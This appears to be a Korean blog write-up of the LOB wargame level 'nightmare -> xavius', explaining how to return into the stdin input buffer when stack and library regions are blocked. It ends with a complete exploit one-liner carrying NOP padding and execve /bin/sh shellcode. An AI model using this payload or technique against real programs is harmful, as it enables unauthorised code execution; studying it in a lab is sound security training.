ii4gsp

LOB - Level19 [nightmare -> xavius] 본문

시스템 해킹/LOB

LOB - Level19 [nightmare -> xavius]

ii4gsp 2020. 1. 29. 21:46

stack 영역을 사용할 수 없다.

라이브러리 영역도 사용할 수 없다.

또한 fgets()함수에서 arg로 입력을 받지않고 뜬금없이 stdin으로 입력을 받는다.

stdin은 표준입력 파일 스트림이다.

stdin은 입력 버퍼를 가지고 있다.

 

 

 

 

파일 복사 후 gdb로 파일을 열어주자

 

 

 

 

eax 레지스터에 0x8049a3c가 복사되고 push 된다.

 

 

 

 

0x8049a3c가 stdin의 주소이다.

 

 

 

 

ret가 실행되기전 <main+278> 부분에 break point를 걸어주고 프로그램 실행 후 값을 넣어주자

 

 

 

 

stdin+4는 buffer의 end부분을 가리키고 stdin+12는 buffer의 start부분을 가리킨다.

buffer의 start부분인 0x40015000을 payload에 사용하면된다.

페이로드는

NOP * 19 + shellcode + 0x40015000

                                                     [19byte]      [25byte]        [4byte] 

 

 

 

 

payload

(python -c 'print "\x90" * 19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x00\x50\x01\x40"';cat) | ./xavius
Comments